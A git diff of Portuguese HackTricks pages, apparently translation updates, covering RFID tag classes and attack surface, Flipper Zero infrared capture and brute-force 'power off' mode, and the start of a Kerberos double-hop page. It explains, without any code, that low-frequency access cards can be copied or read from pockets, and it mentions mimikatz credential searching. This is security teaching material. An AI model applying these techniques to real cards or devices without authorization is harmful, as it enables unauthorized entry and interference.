* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,63 +1,66 @@
# Teste de penetração RFID
# Pentesting RFID
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda a hackear a AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Especialista em Equipe Vermelha AWS do HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
## Introdução
**Identificação por Radiofrequência (RFID)** é a solução de rádio de curto alcance mais popular. Geralmente é usada para armazenar e transmitir informações que identificam uma entidade.
**Identificação por Radiofrequência (RFID)** é a solução de rádio de curto alcance mais popular. É geralmente usada para armazenar e transmitir informações que identificam uma entidade.
Uma etiqueta RFID pode depender de **sua própria fonte de energia (ativa)**, como uma bateria embutida, ou receber sua energia da antena de leitura usando a **corrente induzida pelas ondas de rádio recebidas** (**passiva**).
Uma etiqueta RFID pode depender de **sua própria fonte de energia (ativa)**, como uma bateria embutida, ou receber sua energia da antena de leitura usando a corrente **induzida pelas ondas de rádio recebidas** (**passiva**).
### Classes
A EPCglobal divide as etiquetas RFID em seis categorias. Uma etiqueta em cada categoria possui todas as capacidades listadas na categoria anterior, tornando-a compatível com versões anteriores.
A EPCglobal divide as etiquetas RFID em seis categorias. Uma etiqueta em cada categoria possui todas as capacidades listadas na categoria anterior, tornando-a retrocompatível.
* As etiquetas da **Classe 0** são etiquetas **passivas** que operam em bandas **UHF**. O fornecedor as **pré-programa** na fábrica de produção. Como resultado, você **não pode alterar** as informações armazenadas em sua memória.
* As etiquetas da **Classe 1** também podem operar em bandas **HF**. Além disso, elas podem ser **gravadas apenas uma vez** após a produção. Muitas etiquetas da Classe 1 também podem processar **verificações de redundância cíclica** (CRCs) dos comandos que recebem. Os CRCs são alguns bytes extras no final dos comandos para detecção de erros.
* As etiquetas da **Classe 2** podem ser **gravadas várias vezes**.
* As etiquetas da **Classe 3** podem conter **sensores embutidos** que podem registrar parâmetros ambientais, como a temperatura atual ou o movimento da etiqueta. Essas etiquetas são **semi-passivas**, porque embora **tenham** uma fonte de energia embutida, como uma **bateria** integrada, elas **não podem iniciar** a **comunicação** sem fio com outras etiquetas ou leitores.
* As etiquetas da **Classe 4** podem iniciar a comunicação com outras etiquetas da mesma classe, tornando-as etiquetas **ativas**.
* As etiquetas da **Classe 5** podem fornecer **energia para outras etiquetas e se comunicar com todas as classes de etiquetas anteriores**. As etiquetas da Classe 5 podem atuar como **leitores RFID**.
* As etiquetas **Classe 0** são etiquetas **passivas** que operam em bandas **UHF**. O fornecedor **as pré-programa** na fábrica de produção. Como resultado, você **não pode alterar** as informações armazenadas em sua memória.
* As etiquetas **Classe 1** também podem operar em bandas **HF**. Além disso, elas podem ser **gravadas apenas uma vez** após a produção. Muitas etiquetas Classe 1 também podem processar **verificações de redundância cíclica** (CRCs) dos comandos que recebem. Os CRCs são alguns bytes extras no final dos comandos para detecção de erros.
* As etiquetas **Classe 2** podem ser **gravadas várias vezes**.
* As etiquetas **Classe 3** podem conter **sensores embutidos** que podem registrar parâmetros ambientais, como a temperatura atual ou o movimento da etiqueta. Essas etiquetas são **semi-passivas**, porque embora **tenham** uma fonte de energia embutida, como uma **bateria** integrada, elas **não podem iniciar** a **comunicação** sem fio com outras etiquetas ou leitores.
* As etiquetas **Classe 4** podem iniciar comunicação com outras etiquetas da mesma classe, tornando-as **etiquetas ativas**.
* As etiquetas **Classe 5** podem fornecer **energia para outras etiquetas e se comunicar com todas as classes de etiquetas anteriores**. As etiquetas Classe 5 podem atuar como **leitores RFID**.
### Informações Armazenadas em Etiquetas RFID
A memória de uma etiqueta RFID geralmente armazena quatro tipos de dados: os **dados de identificação**, que **identificam** a **entidade** à qual a etiqueta está anexada (esses dados incluem campos definidos pelo usuário, como contas bancárias); os **dados suplementares**, que fornecem **mais detalhes** sobre a entidade; os **dados de controle**, usados para a **configuração interna** da etiqueta; e os **dados do fabricante** da etiqueta, que contêm um Identificador Único da etiqueta (**UID**) e detalhes sobre a **produção**, **tipo** e **fornecedor** da etiqueta. Você encontrará os dois primeiros tipos de dados em todas as etiquetas comerciais; os dois últimos podem variar com base no fornecedor da etiqueta.
A memória de uma etiqueta RFID geralmente armazena quatro tipos de dados: os **dados de identificação**, que **identificam** a **entidade** à qual a etiqueta está anexada (esses dados incluem campos definidos pelo usuário, como contas bancárias); os **dados suplementares**, que fornecem **mais** **detalhes** sobre a entidade; os **dados de controle**, usados para a **configuração** interna da etiqueta; e os **dados do fabricante** da etiqueta, que contêm o Identificador Único da etiqueta (**UID**) e detalhes sobre a **produção**, **tipo** e **fornecedor** da etiqueta. Você encontrará os dois primeiros tipos de dados em todas as etiquetas comerciais; os últimos dois podem diferir com base no fornecedor da etiqueta.
O padrão ISO especifica o valor do Identificador de Família de Aplicativos (**AFI**), um código que indica o **tipo de objeto** ao qual a etiqueta pertence. Outro registro importante, também especificado pela ISO, é o Identificador de Formato de Armazenamento de Dados (**DSFID**), que define a **organização lógica dos dados do usuário**.
O padrão ISO especifica o valor do Identificador de Família de Aplicação (**AFI**), um código que indica o **tipo de objeto** ao qual a etiqueta pertence. Outro registro importante, também especificado pela ISO, é o Identificador de Formato de Armazenamento de Dados (**DSFID**), que define a **organização lógica dos dados do usuário**.
A maioria dos **controles de segurança** de RFID possui mecanismos que **restringem** as operações de **leitura** ou **gravação** em cada bloco de memória do usuário e nos registros especiais que contêm os valores AFI e DSFID. Esses **mecanismos de bloqueio** usam dados armazenados na memória de controle e têm **senhas padrão** pré-configuradas pelo fornecedor, mas permitem que os proprietários da etiqueta **configurem senhas personalizadas**.
A maioria dos **controles de segurança** RFID possui mecanismos que **restrigem** as operações de **leitura** ou **gravação** em cada bloco de memória do usuário e nos registros especiais que contêm os valores AFI e DSFID. Esses **mecanismos de bloqueio** usam dados armazenados na memória de controle e têm **senhas padrão** pré-configuradas pelo fornecedor, mas permitem que os proprietários da etiqueta **configurem senhas personalizadas**.
### Comparação de etiquetas de baixa e alta frequência
### Comparação de Etiquetas de Baixa e Alta Frequência
<figure><img src="../.gitbook/assets/image (27).png" alt=""><figcaption></figcaption></figure>
## Etiquetas RFID de Baixa Frequência (125kHz)
As **etiquetas de baixa frequência** são frequentemente usadas em sistemas que **não requerem alta segurança**: acesso a edifícios, chaves de intercomunicação, cartões de associação de academia, etc. Devido ao seu alcance maior, são convenientes para uso em estacionamentos pagos: o motorista não precisa aproximar o cartão do leitor, pois ele é acionado de longe. Ao mesmo tempo, as etiquetas de baixa frequência são muito primitivas, têm uma baixa taxa de transferência de dados. Por esse motivo, é impossível implementar uma transferência de dados bidirecional complexa para coisas como manter o saldo e criptografia. As etiquetas de baixa frequência apenas transmitem seu ID curto sem nenhum meio de autenticação.
As **etiquetas de baixa frequência** são frequentemente usadas em sistemas que **não requerem alta segurança**: acesso a prédios, chaves de intercomunicador, cartões de associação de academia, etc. Devido ao seu maior alcance, são convenientes para uso em estacionamento pago: o motorista não precisa trazer o cartão perto do leitor, pois é acionado de mais longe. Ao mesmo tempo, as etiquetas de baixa frequência são muito primitivas, têm uma baixa taxa de transferência de dados. Por essa razão, é impossível implementar transferências de dados complexas em duas vias para coisas como manter saldo e criptografia. As etiquetas de baixa frequência apenas transmitem seu ID curto sem nenhum meio de autenticação.
Esses dispositivos dependem da tecnologia **RFID passiva** e operam em uma **faixa de 30 kHz a 300 kHz**, embora seja mais comum usar 125 kHz a 134 kHz:
Esses dispositivos dependem da tecnologia **RFID** **passiva** e operam em uma **faixa de 30 kHz a 300 kHz**, embora seja mais comum usar 125 kHz a 134 kHz:
* **Alcance Longo** — a frequência mais baixa se traduz em maior alcance. Existem alguns leitores EM-Marin e HID, que funcionam a uma distância de até um metro. Eles são frequentemente usados em estacionamentos.
* **Protocolo primitivo** — devido à baixa taxa de transferência de dados, essas etiquetas podem transmitir seu ID curto. Na maioria dos casos, os dados não são autenticados e não são protegidos de forma alguma. Assim que o cartão está dentro do alcance do leitor, ele começa a transmitir seu ID.
* **Baixa segurança** — esses cartões podem ser facilmente copiados, ou até mesmo lidos do bolso de outra pessoa devido à primitividade do protocolo.
* **Longo Alcance** — frequência mais baixa se traduz em maior alcance. Existem alguns leitores EM-Marin e HID, que funcionam a uma distância de até um metro. Esses são frequentemente usados em estacionamentos.
* **Protocolo Primitivo** — devido à baixa taxa de transferência de dados, essas etiquetas podem apenas transmitir seu ID curto. Na maioria dos casos, os dados não são autenticados e não estão protegidos de forma alguma. Assim que o cartão está na faixa do leitor, ele começa a transmitir seu ID.
* **Baixa Segurança** — Esses cartões podem ser facilmente copiados, ou até mesmo lidos do bolso de outra pessoa devido à primitividade do protocolo.
**Protocolos populares de 125 kHz:**
* **EM-Marin** — EM4100, EM4102. O protocolo mais popular na CEI. Pode ser lido a cerca de um metro de distância devido à sua simplicidade e estabilidade.
* **HID Prox II** — protocolo de baixa frequência introduzido pela HID Global. Este protocolo é mais popular nos países ocidentais. É mais complexo e os cartões e leitores para este protocolo são relativamente caros.
* **Indala** — protocolo de baixa frequência muito antigo introduzido pela Motorola e posteriormente adquirido pela HID. É menos provável que você encontre isso na natureza em comparação com os dois anteriores, pois está caindo em desuso.
* **EM-Marin** — EM4100, EM4102. O protocolo mais popular na CEI. Pode ser lido a cerca de um metro devido à sua simplicidade e estabilidade.
* **HID Prox II** — protocolo de baixa frequência introduzido pela HID Global. Este protocolo é mais popular em países ocidentais. É mais complexo e os cartões e leitores para este protocolo são relativamente caros.
* **Indala** — protocolo de baixa frequência muito antigo que foi introduzido pela Motorola e, posteriormente, adquirido pela HID. É menos provável que você o encontre na natureza em comparação com os dois anteriores, pois está caindo em desuso.
Na realidade, existem muitos mais protocolos de baixa frequência. Mas todos eles usam a mesma modulação na camada física e podem ser considerados, de uma forma ou de outra, uma variação dos listados acima.
Na realidade, existem muitos mais protocolos de baixa frequência. Mas todos usam a mesma modulação na camada física e podem ser considerados, de uma forma ou de outra, uma variação dos listados acima.
### Ataque
@ -67,26 +70,26 @@ Você pode **atacar essas Etiquetas com o Flipper Zero**:
[fz-125khz-rfid.md](../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
{% endcontent-ref %}
## Etiquetas RFID de Alta Frequência (13,56 MHz)
## Etiquetas RFID de Alta Frequência (13.56 MHz)
As **etiquetas de alta frequência** são usadas para uma interação mais complexa entre leitor e etiqueta quando é necessário criptografia, uma grande transferência de dados bidirecional, autenticação, etc.\
Geralmente são encontradas em cartões bancários, transporte público e outras passagens seguras.
As **etiquetas de alta frequência** são usadas para uma interação mais complexa entre leitor e etiqueta quando você precisa de criptografia, uma grande transferência de dados em duas vias, autenticação, etc.\
Geralmente são encontradas em cartões bancários, transporte público e outros passes seguros.
**As etiquetas de alta frequência de 13,56 MHz são um conjunto de padrões e protocolos**. Geralmente são referidas como [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), mas nem sempre é correto. O conjunto básico de protocolos usado nos níveis físico e lógico é o ISO 14443. Protocolos de alto nível, bem como padrões alternativos (como o ISO 19092), são baseados nele. Muitas pessoas se referem a essa tecnologia como **Near Field Communication (NFC)**, um termo para dispositivos que operam na frequência de 13,56 MHz.
As **etiquetas de alta frequência de 13.56 MHz são um conjunto de padrões e protocolos**. Elas são geralmente referidas como [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), mas isso nem sempre é correto. O conjunto de protocolos básico usado nos níveis físico e lógico é o ISO 14443. Protocolos de alto nível, bem como padrões alternativos (como ISO 19092), são baseados nele. Muitas pessoas se referem a essa tecnologia como **Comunicação em Campo Próximo (NFC)**, um termo para dispositivos que operam na frequência de 13.56 MHz.
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
Para simplificar, a arquitetura do NFC funciona assim: o protocolo de transmissão é escolhido pela empresa que fabrica os cartões e implementado com base no padrão ISO 14443 de baixo nível. Por exemplo, a NXP inventou seu próprio protocolo de transmissão de alto nível chamado Mifare. Mas em um nível mais baixo, os cartões Mifare são baseados no padrão ISO 14443-A.
Simplificando, a arquitetura do NFC funciona assim: o protocolo de transmissão é escolhido pela empresa que fabrica os cartões e implementado com base no ISO 14443 de baixo nível. Por exemplo, a NXP inventou seu próprio protocolo de transmissão de alto nível chamado Mifare. Mas no nível inferior, os cartões Mifare são baseados no padrão ISO 14443-A.
O Flipper pode interagir tanto com o protocolo de baixo nível ISO 14443, quanto com o protocolo de transferência de dados Mifare Ultralight e EMV usado em cartões bancários. Estamos trabalhando para adicionar suporte ao Mifare Classic e NFC NDEF. Uma análise detalhada dos protocolos e padrões que compõem o NFC vale um artigo separado que planejamos publicar posteriormente.
O Flipper pode interagir tanto com o protocolo ISO 14443 de baixo nível, quanto com o protocolo de transferência de dados Mifare Ultralight e EMV usado em cartões bancários. Estamos trabalhando para adicionar suporte para Mifare Classic e NFC NDEF. Uma análise detalhada dos protocolos e padrões que compõem o NFC merece um artigo separado que planejamos publicar mais tarde.
Todos os cartões de alta frequência baseados no padrão ISO 14443-A têm um ID de chip único. Ele atua como o número de série do cartão, como o endereço MAC de um cartão de rede. **Normalmente, o UID tem 4 ou 7 bytes de comprimento**, mas raramente pode chegar a **10**. Os UIDs não são um segredo e são facilmente legíveis, **às vezes até impressos no próprio cartão**.
Todos os cartões de alta frequência baseados no padrão ISO 14443-A têm um ID de chip único. Ele atua como o número de série do cartão, como o endereço MAC de um cartão de rede. **Normalmente, o UID tem 4 ou 7 bytes de comprimento**, mas pode raramente chegar **a 10**. Os UIDs não são um segredo e são facilmente legíveis, **às vezes até impressos no próprio cartão**.
Existem muitos sistemas de controle de acesso que dependem do UID para **autenticar e conceder acesso**. Às vezes isso acontece **mesmo** quando as etiquetas RFID **suportam criptografia**. Esse **uso indevido** as coloca no mesmo nível das **etiquetas de 125 kHz** em termos de **segurança**. Cartões virtuais (como o Apple Pay) usam um UID dinâmico para que os proprietários de telefones não saiam abrindo portas com seu aplicativo de pagamento.
Existem muitos sistemas de controle de acesso que dependem do UID para **autenticar e conceder acesso**. Às vezes isso acontece **mesmo** quando as etiquetas RFID **suportam criptografia**. Tal **uso indevido** as reduz ao nível dos **cartões de 125 kHz** em termos de **segurança**. Cartões virtuais (como Apple Pay) usam um UID dinâmico para que os proprietários de telefones não abram portas com seu aplicativo de pagamento.
* **Curto alcance** — os cartões de alta frequência são projetados especificamente para serem colocados perto do leitor. Isso também ajuda a proteger o cartão de interações não autorizadas. A distância máxima de leitura que conseguimos alcançar foi de cerca de 15 cm, e isso foi com leitores de longo alcance feitos sob medida.
* **Protocolos avançados** — velocidades de transferência de dados de até 424 kbps permitem protocolos complexos com transferência de dados bidirecional completa. O que, por sua vez, **permite criptografia**, transferência de dados, etc.
* **Alta segurança**os cartões sem contato de alta frequência não são de forma alguma inferiores aos cartões inteligentes. Existem cartões que suportam algoritmos criptograficamente fortes como AES e implementam criptografia assimétrica.
* **Baixo alcance** — cartões de alta frequência são projetados especificamente para que precisem ser colocados perto do leitor. Isso também ajuda a proteger o cartão de interações não autorizadas. O máximo de alcance de leitura que conseguimos alcançar foi de cerca de 15 cm, e isso foi com leitores de longo alcance feitos sob medida.
* **Protocolos Avançados** — velocidades de transferência de dados de até 424 kbps permitem protocolos complexos com transferência de dados em duas vias. O que, por sua vez, **permite criptografia**, transferência de dados, etc.
* **Alta segurança**cartões de contato sem fio de alta frequência não são de forma alguma inferiores aos cartões inteligentes. Existem cartões que suportam algoritmos criptograficamente fortes como AES e implementam criptografia assimétrica.
### Ataque
@ -105,3 +108,18 @@ Ou usando o **proxmark**:
## Referências
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# FZ - Infravermelho
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
## Introdução <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
@ -22,27 +25,42 @@ Para mais informações sobre como o Infravermelho funciona, confira:
## Receptor de Sinal IR no Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
O Flipper usa um receptor de sinal IR digital TSOP, que **permite interceptar sinais de controles remotos IR**. Alguns **smartphones** como Xiaomi, também possuem uma porta IR, mas tenha em mente que **a maioria deles só pode transmitir** sinais e são **incapazes de recebê-los**.
O Flipper usa um receptor de sinal IR digital TSOP, que **permite interceptar sinais de controles remotos IR**. Existem alguns **smartphones** como Xiaomi, que também têm uma porta IR, mas tenha em mente que **a maioria deles só pode transmitir** sinais e **não consegue recebê-los**.
O receptor infravermelho do Flipper é **bastante sensível**. Você pode até **captar o sinal** estando **em algum lugar entre** o controle remoto e a TV. Apontar o controle remoto diretamente para a porta IR do Flipper é desnecessário. Isso é útil quando alguém está trocando de canal perto da TV, e tanto você quanto o Flipper estão a certa distância.
O receptor infravermelho do Flipper **é bastante sensível**. Você pode até **captar o sinal** enquanto permanece **em algum lugar entre** o controle remoto e a TV. Apontar o controle remoto diretamente para a porta IR do Flipper é desnecessário. Isso é útil quando alguém está trocando de canal enquanto está perto da TV, e tanto você quanto o Flipper estão a uma certa distância.
Como a **decodificação do sinal infravermelho** acontece no **lado do software**, o Flipper Zero potencialmente suporta a **receção e transmissão de quaisquer códigos de controle remoto IR**. No caso de **protocolos desconhecidos** que não puderam ser reconhecidos - ele **registra e reproduz** o sinal bruto exatamente como recebido.
Como a **decodificação do sinal infravermelho** acontece do lado do **software**, o Flipper Zero potencialmente suporta a **recepção e transmissão de quaisquer códigos de controle remoto IR**. No caso de **protocolos desconhecidos** que não puderam ser reconhecidos - ele **grava e reproduz** o sinal bruto exatamente como recebido.
## Ações
### Controles Remotos Universais
O Flipper Zero pode ser usado como um **controle remoto universal para controlar qualquer TV, ar condicionado ou centro de mídia**. Neste modo, o Flipper **força bruta** todos os **códigos conhecidos** de todos os fabricantes suportados **de acordo com o dicionário do cartão SD**. Você não precisa escolher um controle remoto específico para desligar uma TV de restaurante.
O Flipper Zero pode ser usado como um **controle remoto universal para controlar qualquer TV, ar-condicionado ou centro de mídia**. Neste modo, o Flipper **realiza força bruta** em todos os **códigos conhecidos** de todos os fabricantes suportados **de acordo com o dicionário do cartão SD**. Você não precisa escolher um controle remoto específico para desligar a TV de um restaurante.
Basta pressionar o botão de energia no modo Controle Remoto Universal, e o Flipper **enviará sequencialmente comandos de "Desligar"** de todas as TVs que conhece: Sony, Samsung, Panasonic... e assim por diante. Quando a TV receber seu sinal, ela reagirá e desligará.
Basta pressionar o botão de energia no modo Controle Remoto Universal, e o Flipper **enviará sequencialmente os comandos "Desligar"** de todas as TVs que conhece: Sony, Samsung, Panasonic... e assim por diante. Quando a TV recebe seu sinal, ela reagirá e desligará.
Essa força bruta leva tempo. Quanto maior o dicionário, mais tempo levará para terminar. É impossível descobrir qual sinal exatamente a TV reconheceu, que não há feedback da TV.
Esse ataque de força bruta leva tempo. Quanto maior o dicionário, mais tempo levará para terminar. É impossível descobrir qual sinal exatamente a TV reconheceu, uma vez que não há feedback da TV.
### Aprender Novo Controle Remoto
É possível **capturar um sinal infravermelho** com o Flipper Zero. Se ele **encontrar o sinal no banco de dados**, o Flipper automaticamente **saberá qual dispositivo é** e permitirá que você interaja com ele.\
Se não encontrar, o Flipper pode **armazenar** o **sinal** e permitirá que você o **reproduza**.
Se não encontrar, o Flipper pode **armazenar** o **sinal** e permitirá que você **o reproduza**.
## Referências
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Problema de Duplo Salto do Kerberos
# Problema do Duplo Salto do Kerberos
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -19,21 +22,21 @@
## Introdução
O problema de "Duplo Salto" do Kerberos ocorre quando um atacante tenta usar a **autenticação Kerberos em dois** **saltos**, por exemplo, usando **PowerShell**/**WinRM**.
O problema do "Duplo Salto" do Kerberos aparece quando um atacante tenta usar **autenticação Kerberos através de dois** **saltos**, por exemplo usando **PowerShell**/**WinRM**.
Quando uma **autenticação** ocorre através do **Kerberos**, as **credenciais** **não** são armazenadas em **memória**. Portanto, se você executar o mimikatz, **não encontrará as credenciais** do usuário na máquina, mesmo que ele esteja executando processos.
